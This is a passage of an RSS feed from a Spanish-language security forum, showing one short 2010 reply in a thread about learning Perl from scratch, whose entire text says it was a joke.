<title>Re: Aprende Perl desde 0</title><link>https://foro.undersecurity.net/read.php?10,6215,6232#msg-6232</link><description><![CDATA[Es una broma xD]]></description>
<dc:creator>Guason</dc:creator>
<category>Documentación Perl</category><pubDate>Sun, 24 Jan 2010 08:30:52 -0500</pubDate></item>
</channel>
</rss>